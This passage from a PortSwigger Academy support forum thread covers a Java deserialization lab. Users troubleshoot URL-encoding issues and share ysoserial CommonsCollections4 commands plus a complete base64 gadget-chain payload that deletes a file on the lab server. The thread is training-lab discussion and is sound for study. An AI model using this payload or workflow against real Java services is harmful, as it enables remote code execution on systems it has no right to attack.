AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQAC ABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAA AXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgAR amF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKG rJUdC5TgiwIAAHhwAAAAAXEAfgApeA==

Uthman, PortSwigger Agent | Last updated: Aug 03, 2020 09:27AM UTC

Can you please email us with further screenshots and information? I still cannot replicate your issue, unfortunately. You can reach us on support@portswigger.net

Jean | Last updated: Aug 09, 2020 09:36PM UTC

I have the same problem, I have already made the recommendations but I still cannot do the laboratory.

Uthman, PortSwigger Agent | Last updated: Aug 10, 2020 10:31AM UTC

Thanks for the feedback. Please send us an email so we can assist you.

ShiftingPoint | Last updated: Aug 11, 2020 02:37PM UTC

Ok, I'll send screenshots.

dj | Last updated: Aug 20, 2020 11:17PM UTC

I faced the same error message when the sent the request without URL encoding the base64 string(Lab solution does mention URL encode, but it mentions after asking you to replace the cookie - this could be the confusion!). Once you replace the cookie with URLencoded(base64 string), you should be good. URLEncoded string looks something like --------------------------------------- Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: session=%72%4f%30%41%42%58%4e%79%41%42%64%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%55%48%4a%70%62%33%4a%70%64%48%6c%52%64%57%56%31%5a%5a%54%61%4d%4c%54%37%..blah blah ----------------------------------------

Grant | Last updated: Sep 11, 2020 11:13PM UTC

Hello, I wanted to make a comment on this. Just an FYI, the reason why some of you might be seeing a different base64 value than what is in the solution is because the one listed in the solution is actually incorrect. Can someone from the PortSwigger team look into this to prevent confusion for future users? You have the output for the command when run with 'whoami' rather than 'rm /home/carlos/morale.txt'. This is the reason why there is so much confusion on the results in this thread. Those who posted their base64 outputs actually had the correct ones and just need to perform one more action to claim victory over the lab. I will let you figure out what it is :) (the solution tells you anyway).

Uthman, PortSwigger Agent | Last updated: Sep 14, 2020 07:39AM UTC

Hi Grant, That is inaccurate, unfortunately. The output for 'whoami' would just be carlos. That would be a different base64 value. Our academy team has just double-checked this and everything appears to be good on our end. If you still think there could be a bug, please email us with further details.

Motasem | Last updated: Sep 30, 2020 08:23AM UTC

just you need to encode it as URL :)

martinez | Last updated: Mar 14, 2021 03:52PM UTC

I also had a trouble to solve the lab. I used the ysoserail from oficial repo but it was generating a different base64 string, using a docker container built from Dockerfile also didn't work. At the end I fired up Kali, downloaded stable jar from https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar and it finally worked.

Laura | Last updated: Jun 10, 2021 01:39PM UTC

For me it doesn't even work with url encoding. Also, my Base64 looks different even though I executed the same command.

Uthman, PortSwigger Agent | Last updated: Jun 10, 2021 01:58PM UTC

Hi Laura, What steps are you following? I have just completed the lab without any issues using the instructions in the solution (and the steps I described on 31/07/2020 to download the ysoserial JAR) Can you double-check the base64 value before you URL encode it? Or wait for the lab to reset any try again? Alternatively, please check out a video solution.

NWAWEL | Last updated: Jul 10, 2021 04:33PM UTC

@Uthman I was blocked on this lab, even with the provided solution but I managed to solve it. I think you could rephrase the solution so that learners would be aware to use Burpsuite Decoder and use the URL Encode option. I tried to use Cyberchef and another URLEncoding website to encode the Base64 payload but I got the error mentioned by others learners earlier.

Alexey | Last updated: Jan 15, 2022 12:21AM UTC

Burp Decoder will encode ALL characters in the URL, and therefore the result will be very large, and this will cause a new error: org.apache.commons.collections4.FunctorException: InstantiateTransformer: Constructor threw an exception I tried to encode only special characters like '+' and '=' and it worked.

Uthman, PortSwigger Agent | Last updated: Jan 17, 2022 09:38AM UTC

@NWAWEL @Alexey, The lab does not expect you to use the Burp Decoder tool. The solution mentions that the URL encoding should be done via the Repeater: 
3. In Burp Repeater, replace your session cookie with the malicious one you just created. Select the entire cookie and then URL-encode it.

This would be achieved by right-clicking the cookie/string to be encoded > Convert selection > URL > URL encode key characters. I think the assumption is that you understand most modern web browsers URL encode key characters so this is not explicitly mentioned in the lab.

Let us know if this needs to be any clearer so that we can pass the feedback on to our Academy team. :)

Angkan | Last updated: May 16, 2022 06:11PM UTC

I agree with the solution provided by Uthman. I used the CommonCollections4 payload in base64 format, selected the cookie in repeater and used command+u shortcut to URL encode the key characters.

CavemanKT | Last updated: Jan 13, 2023 05:37AM UTC

The solution might be a bit different than yours, but it works. For me, I used ysoserial-0.0.6-SNAPSHOT-all.jar and OpenJDK8U-jdk_x64_linux_hotspot_8u352b08.tar.gz in Kali linux. Command: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 remember to url encode them. Below helps solve the lab: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqzK/rq+AAAAMwA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBABx5c29zZXJpYWwvUHduZXIzNzk3NTA0MzQ2OTIxAQAeTHlzb3NlcmlhbC9Qd25lcjM3OTc1MDQzNDY5MjE7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAfAAAB1Mr+ur4AAAAzABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwdwQAAAADc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFxAH4AKXg=

Ismail | Last updated: May 04, 2024 09:43AM UTC

Can confirm the above solution from CavemanKT works. Run the below commands: curl -OL https://github.com/AdoptOpenJDK/openjdk8-upstream-binaries/releases/download/jdk8u342-b07/OpenJDK8U-jdk_x64_linux_8u342b07.tar.gz curl -OL https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar tar -xvzf OpenJDK8U-jdk_x64_linux_8u342b07.tar.gz # Generate serializaed data ~/openjdk-8u342-b07/bin/java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64 -w0

Collin | Last updated: May 11, 2024 04:25PM UTC

Slight modification to Ismail's answer as "https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar" did not work for me. # Step 1: Download java curl -OL https://github.com/AdoptOpenJDK/openjdk8-upstream-binaries/releases/download/jdk8u342-b07/OpenJDK8U-jdk_x64_linux_8u342b07.tar.gz # Step 2: Download ysoserial curl -OL https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar # Step 3: Unpack downloaded java tar -xvzf OpenJDK8U-jdk_x64_linux_8u342b07.tar.gz # Step 4: Generate the data! ~/openjdk-8u342-b07/bin/java -jar ysoserial-all.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64 -w0

Zeeshan | Last updated: May 17, 2024 05:58PM UTC

Are the commands in the lab guide and documentation for this lab upto date and tested? Please confirm.

Ben, PortSwigger Agent | Last updated: May 20, 2024 07:50AM UTC